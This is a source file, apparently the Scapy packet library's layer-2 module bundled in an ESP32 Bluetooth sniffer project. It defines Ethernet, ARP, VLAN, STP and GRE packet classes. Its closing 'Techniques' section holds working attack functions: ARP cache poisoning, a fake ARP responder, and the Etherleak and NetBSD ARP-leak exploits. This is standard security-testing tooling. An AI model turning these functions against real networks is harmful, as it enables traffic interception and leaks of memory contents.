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esp32_bluetooth_classic_sni.../libs/scapy/layers/l2.py

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initial commit todo: add documentation & wireshark dissector
2021-08-31 11:51:03 +00:00
# This file is part of Scapy
# See http://www.secdev.org/projects/scapy for more information
# Copyright (C) Philippe Biondi <phil@secdev.org>
# This program is published under a GPLv2 license
"""
Classes and functions for layer 2 protocols.
"""
from __future__ import absolute_import
from __future__ import print_function
import os
import struct
import time
import socket
from scapy.ansmachine import AnsweringMachine
from scapy.arch import get_if_addr, get_if_hwaddr
from scapy.base_classes import Gen, Net
from scapy.compat import chb, orb
from scapy.config import conf
from scapy import consts
from scapy.data import ARPHDR_ETHER, ARPHDR_LOOPBACK, ARPHDR_METRICOM, \
DLT_ETHERNET_MPACKET, DLT_LINUX_IRDA, DLT_LINUX_SLL, DLT_LOOP, \
DLT_NULL, ETHER_ANY, ETHER_BROADCAST, ETHER_TYPES, ETH_P_ARP, \
ETH_P_MACSEC
from scapy.error import warning, ScapyNoDstMacException
from scapy.fields import BCDFloatField, BitField, ByteField, \
ConditionalField, FieldLenField, FCSField, \
IntEnumField, IntField, IP6Field, IPField, \
LenField, MACField, MultipleTypeField, \
ShortEnumField, ShortField, SourceIP6Field, SourceIPField, \
StrFixedLenField, StrLenField, X3BytesField, XByteField, XIntField, \
XShortEnumField, XShortField
from scapy.modules.six import viewitems
from scapy.packet import bind_layers, Packet
from scapy.plist import PacketList, SndRcvList
from scapy.sendrecv import sendp, srp, srp1
from scapy.utils import checksum, hexdump, hexstr, inet_ntoa, inet_aton, \
mac2str, valid_mac, valid_net, valid_net6
if conf.route is None:
# unused import, only to initialize conf.route
import scapy.route # noqa: F401
#################
# Tools #
#################
class Neighbor:
def __init__(self):
self.resolvers = {}
def register_l3(self, l2, l3, resolve_method):
self.resolvers[l2, l3] = resolve_method
def resolve(self, l2inst, l3inst):
k = l2inst.__class__, l3inst.__class__
if k in self.resolvers:
return self.resolvers[k](l2inst, l3inst)
def __repr__(self):
return "\n".join("%-15s -> %-15s" % (l2.__name__, l3.__name__) for l2, l3 in self.resolvers) # noqa: E501
conf.neighbor = Neighbor()
conf.netcache.new_cache("arp_cache", 120) # cache entries expire after 120s
@conf.commands.register
def getmacbyip(ip, chainCC=0):
"""Return MAC address corresponding to a given IP address"""
if isinstance(ip, Net):
ip = next(iter(ip))
ip = inet_ntoa(inet_aton(ip or "0.0.0.0"))
tmp = [orb(e) for e in inet_aton(ip)]
if (tmp[0] & 0xf0) == 0xe0: # mcast @
return "01:00:5e:%.2x:%.2x:%.2x" % (tmp[1] & 0x7f, tmp[2], tmp[3])
iff, _, gw = conf.route.route(ip)
if ((iff == conf.loopback_name) or (ip == conf.route.get_if_bcast(iff))): # noqa: E501
return "ff:ff:ff:ff:ff:ff"
if gw != "0.0.0.0":
ip = gw
mac = conf.netcache.arp_cache.get(ip)
if mac:
return mac
try:
res = srp1(Ether(dst=ETHER_BROADCAST) / ARP(op="who-has", pdst=ip),
type=ETH_P_ARP,
iface=iff,
timeout=2,
verbose=0,
chainCC=chainCC,
nofilter=1)
except Exception as ex:
warning("getmacbyip failed on %s" % ex)
return None
if res is not None:
mac = res.payload.hwsrc
conf.netcache.arp_cache[ip] = mac
return mac
return None
# Fields
class DestMACField(MACField):
def __init__(self, name):
MACField.__init__(self, name, None)
def i2h(self, pkt, x):
if x is None:
try:
x = conf.neighbor.resolve(pkt, pkt.payload)
except socket.error:
pass
if x is None:
if conf.raise_no_dst_mac:
raise ScapyNoDstMacException()
else:
x = "ff:ff:ff:ff:ff:ff"
warning("Mac address to reach destination not found. Using broadcast.") # noqa: E501
return MACField.i2h(self, pkt, x)
def i2m(self, pkt, x):
return MACField.i2m(self, pkt, self.i2h(pkt, x))
class SourceMACField(MACField):
__slots__ = ["getif"]
def __init__(self, name, getif=None):
MACField.__init__(self, name, None)
self.getif = (lambda pkt: pkt.route()[0]) if getif is None else getif
def i2h(self, pkt, x):
if x is None:
iff = self.getif(pkt)
if iff is None:
iff = conf.iface
if iff:
try:
x = get_if_hwaddr(iff)
except Exception as e:
warning("Could not get the source MAC: %s" % e)
if x is None:
x = "00:00:00:00:00:00"
return MACField.i2h(self, pkt, x)
def i2m(self, pkt, x):
return MACField.i2m(self, pkt, self.i2h(pkt, x))
# Layers
ETHER_TYPES['802_AD'] = 0x88a8
ETHER_TYPES['802_1AE'] = ETH_P_MACSEC
class Ether(Packet):
name = "Ethernet"
fields_desc = [DestMACField("dst"),
SourceMACField("src"),
XShortEnumField("type", 0x9000, ETHER_TYPES)]
__slots__ = ["_defrag_pos"]
def hashret(self):
return struct.pack("H", self.type) + self.payload.hashret()
def answers(self, other):
if isinstance(other, Ether):
if self.type == other.type:
return self.payload.answers(other.payload)
return 0
def mysummary(self):
return self.sprintf("%src% > %dst% (%type%)")
@classmethod
def dispatch_hook(cls, _pkt=None, *args, **kargs):
if _pkt and len(_pkt) >= 14:
if struct.unpack("!H", _pkt[12:14])[0] <= 1500:
return Dot3
return cls
class Dot3(Packet):
name = "802.3"
fields_desc = [DestMACField("dst"),
SourceMACField("src"),
LenField("len", None, "H")]
def extract_padding(self, s):
tmp_len = self.len
return s[:tmp_len], s[tmp_len:]
def answers(self, other):
if isinstance(other, Dot3):
return self.payload.answers(other.payload)
return 0
def mysummary(self):
return "802.3 %s > %s" % (self.src, self.dst)
@classmethod
def dispatch_hook(cls, _pkt=None, *args, **kargs):
if _pkt and len(_pkt) >= 14:
if struct.unpack("!H", _pkt[12:14])[0] > 1500:
return Ether
return cls
class LLC(Packet):
name = "LLC"
fields_desc = [XByteField("dsap", 0x00),
XByteField("ssap", 0x00),
ByteField("ctrl", 0)]
def l2_register_l3(l2, l3):
return conf.neighbor.resolve(l2, l3.payload)
conf.neighbor.register_l3(Ether, LLC, l2_register_l3)
conf.neighbor.register_l3(Dot3, LLC, l2_register_l3)
class CookedLinux(Packet):
# Documentation: http://www.tcpdump.org/linktypes/LINKTYPE_LINUX_SLL.html
name = "cooked linux"
# from wireshark's database
fields_desc = [ShortEnumField("pkttype", 0, {0: "unicast",
1: "broadcast",
2: "multicast",
3: "unicast-to-another-host",
4: "sent-by-us"}),
XShortField("lladdrtype", 512),
ShortField("lladdrlen", 0),
StrFixedLenField("src", "", 8),
XShortEnumField("proto", 0x800, ETHER_TYPES)]
class MPacketPreamble(Packet):
# IEEE 802.3br Figure 99-3
name = "MPacket Preamble"
fields_desc = [StrFixedLenField("preamble", b"", length=8),
FCSField("fcs", 0, fmt="!I")]
class SNAP(Packet):
name = "SNAP"
fields_desc = [X3BytesField("OUI", 0x000000),
XShortEnumField("code", 0x000, ETHER_TYPES)]
conf.neighbor.register_l3(Dot3, SNAP, l2_register_l3)
class Dot1Q(Packet):
name = "802.1Q"
aliastypes = [Ether]
fields_desc = [BitField("prio", 0, 3),
BitField("id", 0, 1),
BitField("vlan", 1, 12),
XShortEnumField("type", 0x0000, ETHER_TYPES)]
def answers(self, other):
if isinstance(other, Dot1Q):
if ((self.type == other.type) and
(self.vlan == other.vlan)):
return self.payload.answers(other.payload)
else:
return self.payload.answers(other)
return 0
def default_payload_class(self, pay):
if self.type <= 1500:
return LLC
return conf.raw_layer
def extract_padding(self, s):
if self.type <= 1500:
return s[:self.type], s[self.type:]
return s, None
def mysummary(self):
if isinstance(self.underlayer, Ether):
return self.underlayer.sprintf("802.1q %Ether.src% > %Ether.dst% (%Dot1Q.type%) vlan %Dot1Q.vlan%") # noqa: E501
else:
return self.sprintf("802.1q (%Dot1Q.type%) vlan %Dot1Q.vlan%")
conf.neighbor.register_l3(Ether, Dot1Q, l2_register_l3)
class STP(Packet):
name = "Spanning Tree Protocol"
fields_desc = [ShortField("proto", 0),
ByteField("version", 0),
ByteField("bpdutype", 0),
ByteField("bpduflags", 0),
ShortField("rootid", 0),
MACField("rootmac", ETHER_ANY),
IntField("pathcost", 0),
ShortField("bridgeid", 0),
MACField("bridgemac", ETHER_ANY),
ShortField("portid", 0),
BCDFloatField("age", 1),
BCDFloatField("maxage", 20),
BCDFloatField("hellotime", 2),
BCDFloatField("fwddelay", 15)]
class ARP(Packet):
name = "ARP"
fields_desc = [
XShortField("hwtype", 0x0001),
XShortEnumField("ptype", 0x0800, ETHER_TYPES),
FieldLenField("hwlen", None, fmt="B", length_of="hwsrc"),
FieldLenField("plen", None, fmt="B", length_of="psrc"),
ShortEnumField("op", 1, {
"who-has": 1,
"is-at": 2,
"RARP-req": 3,
"RARP-rep": 4,
"Dyn-RARP-req": 5,
"Dyn-RAR-rep": 6,
"Dyn-RARP-err": 7,
"InARP-req": 8,
"InARP-rep": 9
}),
MultipleTypeField(
[
(SourceMACField("hwsrc"),
(lambda pkt: pkt.hwtype == 1 and pkt.hwlen == 6,
lambda pkt, val: pkt.hwtype == 1 and (
pkt.hwlen == 6 or (pkt.hwlen is None and
(val is None or len(val) == 6 or
valid_mac(val)))
))),
],
StrFixedLenField("hwsrc", None, length_from=lambda pkt: pkt.hwlen),
),
MultipleTypeField(
[
(SourceIPField("psrc", "pdst"),
(lambda pkt: pkt.ptype == 0x0800 and pkt.plen == 4,
lambda pkt, val: pkt.ptype == 0x0800 and (
pkt.plen == 4 or (pkt.plen is None and
(val is None or valid_net(val)))
))),
(SourceIP6Field("psrc", "pdst"),
(lambda pkt: pkt.ptype == 0x86dd and pkt.plen == 16,
lambda pkt, val: pkt.ptype == 0x86dd and (
pkt.plen == 16 or (pkt.plen is None and
(val is None or valid_net6(val)))
))),
],
StrFixedLenField("psrc", None, length_from=lambda pkt: pkt.plen),
),
MultipleTypeField(
[
(MACField("hwdst", ETHER_ANY),
(lambda pkt: pkt.hwtype == 1 and pkt.hwlen == 6,
lambda pkt, val: pkt.hwtype == 1 and (
pkt.hwlen == 6 or (pkt.hwlen is None and
(val is None or len(val) == 6 or
valid_mac(val)))
))),
],
StrFixedLenField("hwdst", None, length_from=lambda pkt: pkt.hwlen),
),
MultipleTypeField(
[
(IPField("pdst", "0.0.0.0"),
(lambda pkt: pkt.ptype == 0x0800 and pkt.plen == 4,
lambda pkt, val: pkt.ptype == 0x0800 and (
pkt.plen == 4 or (pkt.plen is None and
(val is None or valid_net(val)))
))),
(IP6Field("pdst", "::"),
(lambda pkt: pkt.ptype == 0x86dd and pkt.plen == 16,
lambda pkt, val: pkt.ptype == 0x86dd and (
pkt.plen == 16 or (pkt.plen is None and
(val is None or valid_net6(val)))
))),
],
StrFixedLenField("pdst", None, length_from=lambda pkt: pkt.plen),
),
]
def hashret(self):
return struct.pack(">HHH", self.hwtype, self.ptype,
((self.op + 1) // 2)) + self.payload.hashret()
def answers(self, other):
if not isinstance(other, ARP):
return False
if self.op != other.op + 1:
return False
# We use a loose comparison on psrc vs pdst to catch answers
# with ARP leaks
self_psrc = self.get_field('psrc').i2m(self, self.psrc)
other_pdst = other.get_field('pdst').i2m(other, other.pdst)
return self_psrc[:len(other_pdst)] == other_pdst[:len(self_psrc)]
def route(self):
fld, dst = self.getfield_and_val("pdst")
fld, dst = fld._find_fld_pkt_val(self, dst)
if isinstance(dst, Gen):
dst = next(iter(dst))
if isinstance(fld, IP6Field):
return conf.route6.route(dst)
elif isinstance(fld, IPField):
return conf.route.route(dst)
else:
return None, None, None
def extract_padding(self, s):
return "", s
def mysummary(self):
if self.op == 1:
return self.sprintf("ARP who has %pdst% says %psrc%")
if self.op == 2:
return self.sprintf("ARP is at %hwsrc% says %psrc%")
return self.sprintf("ARP %op% %psrc% > %pdst%")
def l2_register_l3_arp(l2, l3):
return getmacbyip(l3.pdst)
conf.neighbor.register_l3(Ether, ARP, l2_register_l3_arp)
class GRErouting(Packet):
name = "GRE routing information"
fields_desc = [ShortField("address_family", 0),
ByteField("SRE_offset", 0),
FieldLenField("SRE_len", None, "routing_info", "B"),
StrLenField("routing_info", "", "SRE_len"),
]
class GRE(Packet):
name = "GRE"
deprecated_fields = {
"seqence_number": ("sequence_number", "2.4.4"),
}
fields_desc = [BitField("chksum_present", 0, 1),
BitField("routing_present", 0, 1),
BitField("key_present", 0, 1),
BitField("seqnum_present", 0, 1),
BitField("strict_route_source", 0, 1),
BitField("recursion_control", 0, 3),
BitField("flags", 0, 5),
BitField("version", 0, 3),
XShortEnumField("proto", 0x0000, ETHER_TYPES),
ConditionalField(XShortField("chksum", None), lambda pkt:pkt.chksum_present == 1 or pkt.routing_present == 1), # noqa: E501
ConditionalField(XShortField("offset", None), lambda pkt:pkt.chksum_present == 1 or pkt.routing_present == 1), # noqa: E501
ConditionalField(XIntField("key", None), lambda pkt:pkt.key_present == 1), # noqa: E501
ConditionalField(XIntField("sequence_number", None), lambda pkt:pkt.seqnum_present == 1), # noqa: E501
]
@classmethod
def dispatch_hook(cls, _pkt=None, *args, **kargs):
if _pkt and struct.unpack("!H", _pkt[2:4])[0] == 0x880b:
return GRE_PPTP
return cls
def post_build(self, p, pay):
p += pay
if self.chksum_present and self.chksum is None:
c = checksum(p)
p = p[:4] + chb((c >> 8) & 0xff) + chb(c & 0xff) + p[6:]
return p
class GRE_PPTP(GRE):
"""
Enhanced GRE header used with PPTP
RFC 2637
"""
name = "GRE PPTP"
deprecated_fields = {
"seqence_number": ("sequence_number", "2.4.4"),
}
fields_desc = [BitField("chksum_present", 0, 1),
BitField("routing_present", 0, 1),
BitField("key_present", 1, 1),
BitField("seqnum_present", 0, 1),
BitField("strict_route_source", 0, 1),
BitField("recursion_control", 0, 3),
BitField("acknum_present", 0, 1),
BitField("flags", 0, 4),
BitField("version", 1, 3),
XShortEnumField("proto", 0x880b, ETHER_TYPES),
ShortField("payload_len", None),
ShortField("call_id", None),
ConditionalField(XIntField("sequence_number", None), lambda pkt: pkt.seqnum_present == 1), # noqa: E501
ConditionalField(XIntField("ack_number", None), lambda pkt: pkt.acknum_present == 1)] # noqa: E501
def post_build(self, p, pay):
p += pay
if self.payload_len is None:
pay_len = len(pay)
p = p[:4] + chb((pay_len >> 8) & 0xff) + chb(pay_len & 0xff) + p[6:] # noqa: E501
return p
# *BSD loopback layer
class LoIntEnumField(IntEnumField):
def m2i(self, pkt, x):
return x >> 24
def i2m(self, pkt, x):
return x << 24
# https://github.com/wireshark/wireshark/blob/fe219637a6748130266a0b0278166046e60a2d68/epan/dissectors/packet-null.c
# https://www.wireshark.org/docs/wsar_html/epan/aftypes_8h.html
LOOPBACK_TYPES = {0x2: "IPv4",
0x7: "OSI",
0x10: "Appletalk",
0x17: "Netware IPX/SPX",
0x18: "IPv6", 0x1c: "IPv6", 0x1e: "IPv6"}
class Loopback(Packet):
r"""\*BSD loopback layer"""
name = "Loopback"
if consts.OPENBSD:
fields_desc = [IntEnumField("type", 0x2, LOOPBACK_TYPES)]
else:
fields_desc = [LoIntEnumField("type", 0x2, LOOPBACK_TYPES)]
__slots__ = ["_defrag_pos"]
class Dot1AD(Dot1Q):
name = '802_1AD'
bind_layers(Dot3, LLC)
bind_layers(Ether, LLC, type=122)
bind_layers(Ether, LLC, type=34928)
bind_layers(Ether, Dot1Q, type=33024)
bind_layers(Ether, Dot1AD, type=0x88a8)
bind_layers(Dot1AD, Dot1AD, type=0x88a8)
bind_layers(Dot1AD, Dot1Q, type=0x8100)
bind_layers(Dot1Q, Dot1AD, type=0x88a8)
bind_layers(Ether, Ether, type=1)
bind_layers(Ether, ARP, type=2054)
bind_layers(CookedLinux, LLC, proto=122)
bind_layers(CookedLinux, Dot1Q, proto=33024)
bind_layers(CookedLinux, Dot1AD, type=0x88a8)
bind_layers(CookedLinux, Ether, proto=1)
bind_layers(CookedLinux, ARP, proto=2054)
bind_layers(MPacketPreamble, Ether)
bind_layers(GRE, LLC, proto=122)
bind_layers(GRE, Dot1Q, proto=33024)
bind_layers(GRE, Dot1AD, type=0x88a8)
bind_layers(GRE, Ether, proto=0x6558)
bind_layers(GRE, ARP, proto=2054)
bind_layers(GRE, GRErouting, {"routing_present": 1})
bind_layers(GRErouting, conf.raw_layer, {"address_family": 0, "SRE_len": 0})
bind_layers(GRErouting, GRErouting)
bind_layers(LLC, STP, dsap=66, ssap=66, ctrl=3)
bind_layers(LLC, SNAP, dsap=170, ssap=170, ctrl=3)
bind_layers(SNAP, Dot1Q, code=33024)
bind_layers(SNAP, Dot1AD, type=0x88a8)
bind_layers(SNAP, Ether, code=1)
bind_layers(SNAP, ARP, code=2054)
bind_layers(SNAP, STP, code=267)
conf.l2types.register(ARPHDR_ETHER, Ether)
conf.l2types.register_num2layer(ARPHDR_METRICOM, Ether)
conf.l2types.register_num2layer(ARPHDR_LOOPBACK, Ether)
conf.l2types.register_layer2num(ARPHDR_ETHER, Dot3)
conf.l2types.register(DLT_LINUX_SLL, CookedLinux)
conf.l2types.register(DLT_ETHERNET_MPACKET, MPacketPreamble)
conf.l2types.register_num2layer(DLT_LINUX_IRDA, CookedLinux)
conf.l2types.register(DLT_LOOP, Loopback)
conf.l2types.register_num2layer(DLT_NULL, Loopback)
conf.l3types.register(ETH_P_ARP, ARP)
# Techniques
@conf.commands.register
def arpcachepoison(target, victim, interval=60):
"""Poison target's cache with (your MAC,victim's IP) couple
arpcachepoison(target, victim, [interval=60]) -> None
"""
tmac = getmacbyip(target)
p = Ether(dst=tmac) / ARP(op="who-has", psrc=victim, pdst=target)
try:
while True:
sendp(p, iface_hint=target)
if conf.verb > 1:
os.write(1, b".")
time.sleep(interval)
except KeyboardInterrupt:
pass
class ARPingResult(SndRcvList):
def __init__(self, res=None, name="ARPing", stats=None):
SndRcvList.__init__(self, res, name, stats)
def show(self):
"""
Print the list of discovered MAC addresses.
"""
data = list()
padding = 0
for s, r in self.res:
manuf = conf.manufdb._get_short_manuf(r.src)
manuf = "unknown" if manuf == r.src else manuf
padding = max(padding, len(manuf))
data.append((r[Ether].src, manuf, r[ARP].psrc))
for src, manuf, psrc in data:
print(" %-17s %-*s %s" % (src, padding, manuf, psrc))
@conf.commands.register
def arping(net, timeout=2, cache=0, verbose=None, **kargs):
"""Send ARP who-has requests to determine which hosts are up
arping(net, [cache=0,] [iface=conf.iface,] [verbose=conf.verb]) -> None
Set cache=True if you want arping to modify internal ARP-Cache"""
if verbose is None:
verbose = conf.verb
ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=net), verbose=verbose, # noqa: E501
filter="arp and arp[7] = 2", timeout=timeout, iface_hint=net, **kargs) # noqa: E501
ans = ARPingResult(ans.res)
if cache and ans is not None:
for pair in ans:
conf.netcache.arp_cache[pair[1].psrc] = (pair[1].hwsrc, time.time()) # noqa: E501
if ans is not None and verbose:
ans.show()
return ans, unans
@conf.commands.register
def is_promisc(ip, fake_bcast="ff:ff:00:00:00:00", **kargs):
"""Try to guess if target is in Promisc mode. The target is provided by its ip.""" # noqa: E501
responses = srp1(Ether(dst=fake_bcast) / ARP(op="who-has", pdst=ip), type=ETH_P_ARP, iface_hint=ip, timeout=1, verbose=0, **kargs) # noqa: E501
return responses is not None
@conf.commands.register
def promiscping(net, timeout=2, fake_bcast="ff:ff:ff:ff:ff:fe", **kargs):
"""Send ARP who-has requests to determine which hosts are in promiscuous mode
promiscping(net, iface=conf.iface)"""
ans, unans = srp(Ether(dst=fake_bcast) / ARP(pdst=net),
filter="arp and arp[7] = 2", timeout=timeout, iface_hint=net, **kargs) # noqa: E501
ans = ARPingResult(ans.res, name="PROMISCPing")
ans.display()
return ans, unans
class ARP_am(AnsweringMachine):
"""Fake ARP Relay Daemon (farpd)
example:
To respond to an ARP request for 192.168.100 replying on the
ingress interface::
farpd(IP_addr='192.168.1.100',ARP_addr='00:01:02:03:04:05')
To respond on a different interface add the interface parameter::
farpd(IP_addr='192.168.1.100',ARP_addr='00:01:02:03:04:05',iface='eth0')
To respond on ANY arp request on an interface with mac address ARP_addr::
farpd(ARP_addr='00:01:02:03:04:05',iface='eth1')
To respond on ANY arp request with my mac addr on the given interface::
farpd(iface='eth1')
Optional Args::
inter=<n> Interval in seconds between ARP replies being sent
"""
function_name = "farpd"
filter = "arp"
send_function = staticmethod(sendp)
def parse_options(self, IP_addr=None, ARP_addr=None):
self.IP_addr = IP_addr
self.ARP_addr = ARP_addr
def is_request(self, req):
return (req.haslayer(ARP) and
req.getlayer(ARP).op == 1 and
(self.IP_addr is None or self.IP_addr == req.getlayer(ARP).pdst)) # noqa: E501
def make_reply(self, req):
ether = req.getlayer(Ether)
arp = req.getlayer(ARP)
if 'iface' in self.optsend:
iff = self.optsend.get('iface')
else:
iff, a, gw = conf.route.route(arp.psrc)
self.iff = iff
if self.ARP_addr is None:
try:
ARP_addr = get_if_hwaddr(iff)
except Exception:
ARP_addr = "00:00:00:00:00:00"
else:
ARP_addr = self.ARP_addr
resp = Ether(dst=ether.src,
src=ARP_addr) / ARP(op="is-at",
hwsrc=ARP_addr,
psrc=arp.pdst,
hwdst=arp.hwsrc,
pdst=arp.psrc)
return resp
def send_reply(self, reply):
if 'iface' in self.optsend:
self.send_function(reply, **self.optsend)
else:
self.send_function(reply, iface=self.iff, **self.optsend)
def print_reply(self, req, reply):
print("%s ==> %s on %s" % (req.summary(), reply.summary(), self.iff))
@conf.commands.register
def etherleak(target, **kargs):
"""Exploit Etherleak flaw"""
return srp(Ether() / ARP(pdst=target),
prn=lambda s_r: conf.padding_layer in s_r[1] and hexstr(s_r[1][conf.padding_layer].load), # noqa: E501
filter="arp", **kargs)
@conf.commands.register
def arpleak(target, plen=255, hwlen=255, **kargs):
"""Exploit ARP leak flaws, like NetBSD-SA2017-002.
https://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2017-002.txt.asc
"""
# We want explicit packets
pkts_iface = {}
for pkt in ARP(pdst=target):
# We have to do some of Scapy's work since we mess with
# important values
iface = conf.route.route(pkt.pdst)[0]
psrc = get_if_addr(iface)
hwsrc = get_if_hwaddr(iface)
pkt.plen = plen
pkt.hwlen = hwlen
if plen == 4:
pkt.psrc = psrc
else:
pkt.psrc = inet_aton(psrc)[:plen]
pkt.pdst = inet_aton(pkt.pdst)[:plen]
if hwlen == 6:
pkt.hwsrc = hwsrc
else:
pkt.hwsrc = mac2str(hwsrc)[:hwlen]
pkts_iface.setdefault(iface, []).append(
Ether(src=hwsrc, dst=ETHER_BROADCAST) / pkt
)
ans, unans = SndRcvList(), PacketList(name="Unanswered")
for iface, pkts in viewitems(pkts_iface):
ans_new, unans_new = srp(pkts, iface=iface, filter="arp", **kargs)
ans += ans_new
unans += unans_new
ans.listname = "Results"
unans.listname = "Unanswered"
for _, rcv in ans:
if ARP not in rcv:
continue
rcv = rcv[ARP]
psrc = rcv.get_field('psrc').i2m(rcv, rcv.psrc)
if plen > 4 and len(psrc) > 4:
print("psrc")
hexdump(psrc[4:])
print()
hwsrc = rcv.get_field('hwsrc').i2m(rcv, rcv.hwsrc)
if hwlen > 6 and len(hwsrc) > 6:
print("hwsrc")
hexdump(hwsrc[6:])
print()
return ans, unans
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